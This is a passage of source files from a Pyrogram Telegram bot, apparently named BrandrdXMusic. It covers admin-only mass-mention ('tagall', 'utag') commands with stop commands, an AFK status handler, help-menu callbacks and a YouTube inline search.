" **𝐊𝐮𝐜𝐡 𝐌𝐞𝐦𝐛𝐞𝐫𝐬 𝐀𝐝𝐝 𝐊𝐚𝐫 𝐃𝐨 🥲** ",
" **𝐒𝐢𝐧𝐠𝐥𝐞 𝐇𝐨 𝐘𝐚 𝐌𝐢𝐧𝐠𝐥𝐞 😉** ",
" **𝐀𝐚𝐨 𝐏𝐚𝐫𝐭𝐲 𝐊𝐚𝐫𝐭𝐞 𝐇𝐚𝐢𝐧😋🥳** ",
" **𝐇𝐞𝐦𝐥𝐨𝐨🧐** ",
" **𝐌𝐮𝐣𝐡𝐞 𝐁𝐡𝐮𝐥 𝐆𝐲𝐞 𝐊𝐲𝐚🥺** ",
" **𝐘𝐚𝐡𝐚 𝐀𝐚 𝐉𝐚𝐨:-[@BRANDED_WORLD] 𝐌𝐚𝐬𝐭𝐢 𝐊𝐚𝐫𝐞𝐧𝐠𝐞 🤭🤭** ",
" **𝐓𝐫𝐮𝐭𝐡 𝐀𝐧𝐝 𝐃𝐚𝐫𝐞 𝐊𝐡𝐞𝐥𝐨𝐠𝐞..? 😊** ",
" **𝐀𝐚𝐣 𝐌𝐮𝐦𝐦𝐲 𝐍𝐞 𝐃𝐚𝐭𝐚 𝐘𝐫🥺🥺** ",
" **𝐉𝐨𝐢𝐧 𝐊𝐚𝐫 𝐋𝐨🤗** ",
" **𝐄𝐤 𝐃𝐢𝐥 𝐇𝐚𝐢 𝐄𝐤 𝐃𝐢𝐥 𝐇𝐢 𝐓𝐨 𝐇𝐚𝐢😗😗** ",
" **𝐓𝐮𝐦𝐡𝐚𝐫𝐞 𝐃𝐨𝐬𝐭 𝐊𝐚𝐡𝐚 𝐆𝐲𝐞🥺** ",
" **𝐌𝐲 𝐂𝐮𝐭𝐞 𝐎𝐰𝐧𝐞𝐫{ @BRANDED_PAID_CC}🥰** ",
" **𝐊𝐚𝐡𝐚 𝐊𝐡𝐨𝐲𝐞 𝐇𝐨 𝐉𝐚𝐚𝐧😜** ",
" **𝐆𝐨𝐨𝐝 𝐍8 𝐉𝐢 𝐁𝐡𝐮𝐭 𝐑𝐚𝐭 𝐇𝐨 𝐠𝐲𝐢🥰** ",
]
VC_TAG = [ "**𝐎𝚈𝙴 𝐕𝙲 𝐀𝙰𝙾 𝐍𝙰 𝐏𝙻𝚂🥲**",
"**𝐉𝙾𝙸𝙽 𝐕𝙲 𝐅𝙰𝚂𝚃 𝐈𝚃𝚂 𝐈𝙼𝙰𝙿𝙾𝚁𝚃𝙰𝙽𝚃😬**",
"**𝐂𝙾𝙼𝙴 𝚅𝙲 𝙱𝙰𝙱𝚈 𝙵𝙰𝚂𝚃🏓**",
"**𝐁𝙰𝙱𝚈 𝐓𝚄𝙼 𝐁𝙷𝙸 𝐓𝙷𝙾𝚁𝙰 𝐕𝙲 𝐀𝙰𝙽𝙰🥰**",
"**𝐎𝚈𝙴 𝐂𝙷𝙰𝙼𝚃𝚄 𝐕𝙲 𝐀𝙰 𝐄𝙺 𝐄𝙰𝙼 𝐇𝙰𝙸🤨**",
"**𝐒𝚄𝙽𝙾 𝐕𝙲 𝐉𝙾𝙸𝙽 𝐊𝚁 𝐋𝙾🤣**",
"**𝐕𝙲 𝐀𝙰 𝐉𝙰𝙸𝚈𝙴 𝐄𝙺 𝐁𝙰𝚁😁**",
"**𝐕𝙲 𝐓𝙰𝙿𝙺𝙾 𝐆𝙰𝙼𝙴 𝐂𝙷𝙰𝙻𝚄 𝐇𝙰𝙸⚽**",
"**𝐕𝙲 𝐀𝙰𝙾 𝐁𝙰𝚁𝙽𝙰 𝐁𝙰𝙽 𝐇𝙾 𝐉𝙰𝙾𝙶𝙴🥺**",
"**𝐒𝙾𝚁𝚁𝚈 𝐕𝙰𝙱𝚈 𝐏𝙻𝚂 𝐕𝙲 𝐀𝙰 𝐉𝙰𝙾 𝐍𝙰😥**",
"**𝐕𝙲 𝐀𝙰𝙽𝙰 𝐄𝙺 𝐂𝙷𝙸𝙹 𝐃𝙸𝙺𝙷𝙰𝚃𝙸 𝐇𝚄🙄**",
"**𝐕𝙲 𝐌𝙴 𝐂𝙷𝙴𝙲𝙺 𝐊𝚁𝙺𝙴 𝐁𝙰𝚃𝙰𝙾 𝐓𝙾 𝐒𝙾𝙽𝙶 𝐏𝙻𝙰𝚈 𝐇𝙾 𝐑𝙷𝙰 𝐇?🤔**",
"**𝐕𝙲 𝐉𝙾𝙸𝙽 𝐊𝚁𝙽𝙴 𝐌𝙴 𝐊𝚈𝙰 𝐉𝙰𝚃𝙰 𝐇 𝐓𝙷𝙾𝚁𝙰 𝐃𝙴𝚁 𝐊𝙰𝚁 𝐋𝙾 𝐍𝙰🙂**",
]
@app.on_message(filters.command(["tagall"], prefixes=["/", "@", ".", "#"]))
async def mentionall(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("𝐓𝐡𝐢𝐬 𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐎𝐧𝐥𝐲 𝐅𝐨𝐫 𝐆𝐫𝐨𝐮𝐩𝐬.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 . ")
if message.reply_to_message and message.text:
return await message.reply("/tagall 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ")
elif message.text:
mode = "text_on_cmd"
msg = message.text
elif message.reply_to_message:
mode = "text_on_reply"
msg = message.reply_to_message
if not msg:
return await message.reply("/tagall 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ...")
else:
return await message.reply("/tagall 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ..")
if chat_id in spam_chats:
return await message.reply("𝐏𝐥𝐞𝐚𝐬𝐞 𝐀𝐭 𝐅𝐢𝐫𝐬𝐭 𝐒𝐭𝐨𝐩 𝐑𝐮𝐧𝐧𝐢𝐧𝐠 𝐏𝐫𝐨𝐜𝐞𝐬𝐬 ...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
if mode == "text_on_cmd":
txt = f"{usrtxt} {random.choice(TAGMES)}"
await client.send_message(chat_id, txt)
elif mode == "text_on_reply":
await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
@app.on_message(filters.command(["tagoff", "tagstop"]))
async def cancel_spam(client, message):
if not message.chat.id in spam_chats:
return await message.reply("𝐂𝐮𝐫𝐫𝐞𝐧𝐭𝐥𝐲 𝐈'𝐦 𝐍𝐨𝐭 ..")
is_admin = False
try:
participant = await client.get_chat_member(message.chat.id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 𝐓𝐚𝐠 𝐌𝐞𝐦𝐛𝐞𝐫𝐬.")
else:
try:
spam_chats.remove(message.chat.id)
except:
pass
return await message.reply("🌷 𝐁𝐑𝐀𝐍𝐃𝐄𝐃 𝐓𝐀𝐆 𝐀𝐋𝐋 𝐏𝐑𝐎𝐂𝐄𝐒𝐒 𝐒𝐓𝐎𝐏𝐏𝐄𝐃 🎉")
================================================
FILE: BrandrdXMusic/plugins/admins/utag.py
================================================
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
from BrandrdXMusic import app
from BrandrdXMusic.utils.branded_ban import admin_filter
SPAM_CHATS = {}
@app.on_message(
filters.command(["utag", "uall"], prefixes=["/", "@", ".", "#"]) & admin_filter
)
async def tag_all_users(_, message):
global SPAM_CHATS
chat_id = message.chat.id
if len(message.text.split()) == 1:
await message.reply_text(
"** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@utag Hi Friends`"
)
return
text = message.text.split(None, 1)[1]
if text:
await message.reply_text(
"**ᴜᴛᴀɢ [ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢ] sᴛᴀʀᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ!**\n\n**๏ ᴛᴀɢɢɪɴɢ ᴡɪᴛʜ sʟᴇᴇᴘ ᴏғ 7 sᴇᴄ.**\n\n**➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /stoputag**"
)
SPAM_CHATS[chat_id] = True
f = True
while f:
if SPAM_CHATS.get(chat_id) == False:
await message.reply_text("**ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢɢɪɴɢ sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ.**")
break
usernum = 0
usertxt = ""
try:
async for m in app.get_chat_members(message.chat.id):
if m.user.is_bot:
continue
usernum += 1
usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n"
if usernum == 5:
await app.send_message(
message.chat.id,
f"{text}\n{usertxt}\n\n|| ➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /stoputag ||",
)
usernum = 0
usertxt = ""
await asyncio.sleep(7)
except Exception as e:
print(e)
@app.on_message(
filters.command(
["stoputag", "stopuall", "offutag", "offuall", "utagoff", "ualloff"],
prefixes=["/", ".", "@", "#"],
)
& admin_filter
)
async def stop_tagging(_, message):
global SPAM_CHATS
chat_id = message.chat.id
if SPAM_CHATS.get(chat_id) == True:
SPAM_CHATS[chat_id] = False
return await message.reply_text("**ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ sᴛᴏᴘᴘɪɴɢ ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢɢɪɴɢ...**")
else:
await message.reply_text("**ᴜᴛᴀɢ ᴘʀᴏᴄᴇss ɪs ɴᴏᴛ ᴀᴄᴛɪᴠᴇ**")
================================================
FILE: BrandrdXMusic/plugins/bot/afk.py
================================================
import time, re
from pyrogram.enums import MessageEntityType
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.mongo.readable_time import get_readable_time
from BrandrdXMusic.mongo.afkdb import add_afk, is_afk, remove_afk
@app.on_message(filters.command(["afk", "brb"], prefixes=["/", "!"]))
async def active_afk(_, message: Message):
if message.sender_chat:
return
user_id = message.from_user.id
verifier, reasondb = await is_afk(user_id)
if verifier:
await remove_afk(user_id)
try:
afktype = reasondb["type"]
timeafk = reasondb["time"]
data = reasondb["data"]
reasonafk = reasondb["reason"]
seenago = get_readable_time((int(time.time() - timeafk)))
if afktype == "text":
send = await message.reply_text(
f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}",
disable_web_page_preview=True,
)
if afktype == "text_reason":
send = await message.reply_text(
f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`",
disable_web_page_preview=True,
)
if afktype == "animation":
if str(reasonafk) == "None":
send = await message.reply_animation(
data,
caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}",
)
else:
send = await message.reply_animation(
data,
caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`",
)
if afktype == "photo":
if str(reasonafk) == "None":
send = await message.reply_photo(
photo=f"downloads/{user_id}.jpg",
caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}",
)
else:
send = await message.reply_photo(
photo=f"downloads/{user_id}.jpg",
caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`",
)
except Exception:
send = await message.reply_text(
f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ",
disable_web_page_preview=True,
)
if len(message.command) == 1 and not message.reply_to_message:
details = {
"type": "text",
"time": time.time(),
"data": None,
"reason": None,
}
elif len(message.command) > 1 and not message.reply_to_message:
_reason = (message.text.split(None, 1)[1].strip())[:100]
details = {
"type": "text_reason",
"time": time.time(),
"data": None,
"reason": _reason,
}
elif len(message.command) == 1 and message.reply_to_message.animation:
_data = message.reply_to_message.animation.file_id
details = {
"type": "animation",
"time": time.time(),
"data": _data,
"reason": None,
}
elif len(message.command) > 1 and message.reply_to_message.animation:
_data = message.reply_to_message.animation.file_id
_reason = (message.text.split(None, 1)[1].strip())[:100]
details = {
"type": "animation",
"time": time.time(),
"data": _data,
"reason": _reason,
}
elif len(message.command) == 1 and message.reply_to_message.photo:
await app.download_media(message.reply_to_message, file_name=f"{user_id}.jpg")
details = {
"type": "photo",
"time": time.time(),
"data": None,
"reason": None,
}
elif len(message.command) > 1 and message.reply_to_message.photo:
await app.download_media(message.reply_to_message, file_name=f"{user_id}.jpg")
_reason = message.text.split(None, 1)[1].strip()
details = {
"type": "photo",
"time": time.time(),
"data": None,
"reason": _reason,
}
elif len(message.command) == 1 and message.reply_to_message.sticker:
if message.reply_to_message.sticker.is_animated:
details = {
"type": "text",
"time": time.time(),
"data": None,
"reason": None,
}
else:
await app.download_media(
message.reply_to_message, file_name=f"{user_id}.jpg"
)
details = {
"type": "photo",
"time": time.time(),
"data": None,
"reason": None,
}
elif len(message.command) > 1 and message.reply_to_message.sticker:
_reason = (message.text.split(None, 1)[1].strip())[:100]
if message.reply_to_message.sticker.is_animated:
details = {
"type": "text_reason",
"time": time.time(),
"data": None,
"reason": _reason,
}
else:
await app.download_media(
message.reply_to_message, file_name=f"{user_id}.jpg"
)
details = {
"type": "photo",
"time": time.time(),
"data": None,
"reason": _reason,
}
else:
details = {
"type": "text",
"time": time.time(),
"data": None,
"reason": None,
}
await add_afk(user_id, details)
await message.reply_text(f"{message.from_user.first_name} ɪs ɴᴏᴡ ᴀғᴋ!")
chat_watcher_group = 1
@app.on_message(
~filters.me & ~filters.bot & ~filters.via_bot,
group=chat_watcher_group,
)
async def chat_watcher_func(_, message):
if message.sender_chat:
return
userid = message.from_user.id
user_name = message.from_user.first_name
if message.entities:
possible = ["/afk", f"/afk@{app.username}"]
message_text = message.text or message.caption
for entity in message.entities:
if entity.type == MessageEntityType.BOT_COMMAND:
if (message_text[0 : 0 + entity.length]).lower() in possible:
return
msg = ""
replied_user_id = 0
verifier, reasondb = await is_afk(userid)
if verifier:
await remove_afk(userid)
try:
afktype = reasondb["type"]
timeafk = reasondb["time"]
data = reasondb["data"]
reasonafk = reasondb["reason"]
seenago = get_readable_time((int(time.time() - timeafk)))
if afktype == "text":
msg += f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\n"
if afktype == "text_reason":
msg += f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n"
if afktype == "animation":
if str(reasonafk) == "None":
send = await message.reply_animation(
data,
caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\n",
)
else:
send = await message.reply_animation(
data,
caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
if afktype == "photo":
if str(reasonafk) == "None":
send = await message.reply_photo(
photo=f"downloads/{userid}.jpg",
caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\n",
)
else:
send = await message.reply_photo(
photo=f"downloads/{userid}.jpg",
caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
except:
msg += f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ\n\n"
if message.reply_to_message:
try:
replied_first_name = message.reply_to_message.from_user.first_name
replied_user_id = message.reply_to_message.from_user.id
verifier, reasondb = await is_afk(replied_user_id)
if verifier:
try:
afktype = reasondb["type"]
timeafk = reasondb["time"]
data = reasondb["data"]
reasonafk = reasondb["reason"]
seenago = get_readable_time((int(time.time() - timeafk)))
if afktype == "text":
msg += (
f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n"
)
if afktype == "text_reason":
msg += f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n"
if afktype == "animation":
if str(reasonafk) == "None":
send = await message.reply_animation(
data,
caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n",
)
else:
send = await message.reply_animation(
data,
caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
if afktype == "photo":
if str(reasonafk) == "None":
send = await message.reply_photo(
photo=f"downloads/{replied_user_id}.jpg",
caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n",
)
else:
send = await message.reply_photo(
photo=f"downloads/{replied_user_id}.jpg",
caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
except Exception:
msg += f"**{replied_first_name}** ɪs ᴀғᴋ,\nᴩᴀᴛᴀ ɴɪ ʙᴄ ᴋᴀʙ sᴇ\n\n"
except:
pass
if message.entities:
entity = message.entities
j = 0
for x in range(len(entity)):
if (entity[j].type) == MessageEntityType.MENTION:
found = re.findall("@([_0-9a-zA-Z]+)", message.text)
try:
get_user = found[j]
user = await app.get_users(get_user)
if user.id == replied_user_id:
j += 1
continue
except:
j += 1
continue
verifier, reasondb = await is_afk(user.id)
if verifier:
try:
afktype = reasondb["type"]
timeafk = reasondb["time"]
data = reasondb["data"]
reasonafk = reasondb["reason"]
seenago = get_readable_time((int(time.time() - timeafk)))
if afktype == "text":
msg += (
f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n"
)
if afktype == "text_reason":
msg += f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n"
if afktype == "animation":
if str(reasonafk) == "None":
send = await message.reply_animation(
data,
caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n",
)
else:
send = await message.reply_animation(
data,
caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
if afktype == "photo":
if str(reasonafk) == "None":
send = await message.reply_photo(
photo=f"downloads/{user.id}.jpg",
caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n",
)
else:
send = await message.reply_photo(
photo=f"downloads/{user.id}.jpg",
caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
except:
msg += f"**{user.first_name[:25]}** ɪs ᴀғᴋ\n\n"
elif (entity[j].type) == MessageEntityType.TEXT_MENTION:
try:
user_id = entity[j].user.id
if user_id == replied_user_id:
j += 1
continue
first_name = entity[j].user.first_name
except:
j += 1
continue
verifier, reasondb = await is_afk(user_id)
if verifier:
try:
afktype = reasondb["type"]
timeafk = reasondb["time"]
data = reasondb["data"]
reasonafk = reasondb["reason"]
seenago = get_readable_time((int(time.time() - timeafk)))
if afktype == "text":
msg += f"**{first_name[:25]}** is ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n"
if afktype == "text_reason":
msg += f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n"
if afktype == "animation":
if str(reasonafk) == "None":
send = await message.reply_animation(
data,
caption=f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n",
)
else:
send = await message.reply_animation(
data,
caption=f"**{first_name[:25]}** ɪs AFK sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
if afktype == "photo":
if str(reasonafk) == "None":
send = await message.reply_photo(
photo=f"downloads/{user_id}.jpg",
caption=f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n",
)
else:
send = await message.reply_photo(
photo=f"downloads/{user_id}.jpg",
caption=f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n",
)
except:
msg += f"**{first_name[:25]}** ɪs ᴀғᴋ\n\n"
j += 1
if msg != "":
try:
send = await message.reply_text(msg, disable_web_page_preview=True)
except:
return
================================================
FILE: BrandrdXMusic/plugins/bot/help.py
================================================
from typing import Union
from pyrogram import filters, types
from pyrogram.types import InlineKeyboardMarkup, Message, InlineKeyboardButton
from BrandrdXMusic import app
from BrandrdXMusic.utils import help_pannel
from BrandrdXMusic.utils.database import get_lang
from BrandrdXMusic.utils.decorators.language import LanguageStart, languageCB
from BrandrdXMusic.utils.inline.help import help_back_markup, private_help_panel
from config import BANNED_USERS, START_IMG_URL, SUPPORT_CHAT
from strings import get_string, helpers
from BrandrdXMusic.utils.stuffs.buttons import BUTTONS
from BrandrdXMusic.utils.stuffs.helper import Helper
@app.on_message(filters.command(["help"]) & filters.private & ~BANNED_USERS)
@app.on_callback_query(filters.regex("settings_back_helper") & ~BANNED_USERS)
async def helper_private(
client: app, update: Union[types.Message, types.CallbackQuery]
):
is_callback = isinstance(update, types.CallbackQuery)
if is_callback:
try:
await update.answer()
except:
pass
chat_id = update.message.chat.id
language = await get_lang(chat_id)
_ = get_string(language)
keyboard = help_pannel(_, True)
await update.edit_message_text(
_["help_1"].format(SUPPORT_CHAT), reply_markup=keyboard
)
else:
try:
await update.delete()
except:
pass
language = await get_lang(update.chat.id)
_ = get_string(language)
keyboard = help_pannel(_)
await update.reply_video(
video="https://graph.org/file/84d30d4fd04570c0e0256.mp4",
caption=_["help_1"].format(SUPPORT_CHAT), reply_markup=keyboard)
@app.on_message(filters.command(["help"]) & filters.group & ~BANNED_USERS)
@LanguageStart
async def help_com_group(client, message: Message, _):
keyboard = private_help_panel(_)
await message.reply_video(
video="https://te.legra.ph/file/51293513e6af319726fe7.mp4",
caption=_["help_2"], reply_markup=InlineKeyboardMarkup(keyboard)
)
@app.on_callback_query(filters.regex("help_callback") & ~BANNED_USERS)
@languageCB
async def helper_cb(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
cb = callback_data.split(None, 1)[1]
keyboard = help_back_markup(_)
if cb == "hb1":
await CallbackQuery.edit_message_text(helpers.HELP_1, reply_markup=keyboard)
elif cb == "hb2":
await CallbackQuery.edit_message_text(helpers.HELP_2, reply_markup=keyboard)
elif cb == "hb3":
await CallbackQuery.edit_message_text(helpers.HELP_3, reply_markup=keyboard)
elif cb == "hb4":
await CallbackQuery.edit_message_text(helpers.HELP_4, reply_markup=keyboard)
elif cb == "hb5":
await CallbackQuery.edit_message_text(helpers.HELP_5, reply_markup=keyboard)
elif cb == "hb6":
await CallbackQuery.edit_message_text(helpers.HELP_6, reply_markup=keyboard)
elif cb == "hb7":
await CallbackQuery.edit_message_text(helpers.HELP_7, reply_markup=keyboard)
elif cb == "hb8":
await CallbackQuery.edit_message_text(helpers.HELP_8, reply_markup=keyboard)
elif cb == "hb9":
await CallbackQuery.edit_message_text(helpers.HELP_9, reply_markup=keyboard)
elif cb == "hb10":
await CallbackQuery.edit_message_text(helpers.HELP_10, reply_markup=keyboard)
elif cb == "hb11":
await CallbackQuery.edit_message_text(helpers.HELP_11, reply_markup=keyboard)
elif cb == "hb12":
await CallbackQuery.edit_message_text(helpers.HELP_12, reply_markup=keyboard)
elif cb == "hb13":
await CallbackQuery.edit_message_text(helpers.HELP_13, reply_markup=keyboard)
elif cb == "hb14":
await CallbackQuery.edit_message_text(helpers.HELP_14, reply_markup=keyboard)
elif cb == "hb15":
await CallbackQuery.edit_message_text(helpers.HELP_15, reply_markup=keyboard)
@app.on_callback_query(filters.regex("mbot_cb") & ~BANNED_USERS)
async def helper_cb(client, CallbackQuery):
await CallbackQuery.edit_message_text(Helper.HELP_M, reply_markup=InlineKeyboardMarkup(BUTTONS.MBUTTON))
@app.on_callback_query(filters.regex('managebot123'))
async def on_back_button(client, CallbackQuery):
callback_data = CallbackQuery.data.strip()
cb = callback_data.split(None, 1)[1]
keyboard = help_pannel(_, True)
if cb == "settings_back_helper":
await CallbackQuery.edit_message_text(
_["help_1"].format(SUPPORT_CHAT), reply_markup=keyboard
)
@app.on_callback_query(filters.regex('mplus'))
async def mb_plugin_button(client, CallbackQuery):
callback_data = CallbackQuery.data.strip()
cb = callback_data.split(None, 1)[1]
keyboard = InlineKeyboardMarkup([[InlineKeyboardButton("ʙᴀᴄᴋ", callback_data=f"mbot_cb")]])
if cb == "Okieeeeee":
await CallbackQuery.edit_message_text(f"`something errors`",reply_markup=keyboard,parse_mode=enums.ParseMode.MARKDOWN)
else:
await CallbackQuery.edit_message_text(getattr(Helper, cb), reply_markup=keyboard)
================================================
FILE: BrandrdXMusic/plugins/bot/inline.py
================================================
from pyrogram.types import (
InlineKeyboardButton,
InlineKeyboardMarkup,
InlineQueryResultPhoto,
)
from youtubesearchpython.__future__ import VideosSearch
from BrandrdXMusic import app
from BrandrdXMusic.utils.inlinequery import answer
from config import BANNED_USERS
@app.on_inline_query(~BANNED_USERS)
async def inline_query_handler(client, query):
text = query.query.strip().lower()
answers = []
if text.strip() == "":
try:
await client.answer_inline_query(query.id, results=answer, cache_time=10)
except:
return
else:
a = VideosSearch(text, limit=20)
result = (await a.next()).get("result")
for x in range(15):
title = (result[x]["title"]).title()
duration = result[x]["duration"]
views = result[x]["viewCount"]["short"]
thumbnail = result[x]["thumbnails"][0]["url"].split("?")[0]
channellink = result[x]["channel"]["link"]
channel = result[x]["channel"]["name"]
link = result[x]["link"]
published = result[x]["publishedTime"]
description = f"{views} | {duration} ᴍɪɴᴜᴛᴇs | {channel} | {published}"
buttons = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="ʏᴏᴜᴛᴜʙᴇ 🎄",
url=link,
)
],
]
)
searched_text = f"""
❄ ᴛɪᴛʟᴇ : {title}
⏳ ᴅᴜʀᴀᴛɪᴏɴ : {duration} ᴍɪɴᴜᴛᴇs
👀 ᴠɪᴇᴡs : {views}
🎥 ᴄʜᴀɴɴᴇʟ : {channel}
⏰ ᴘᴜʙʟɪsʜᴇᴅ ᴏɴ : {published}
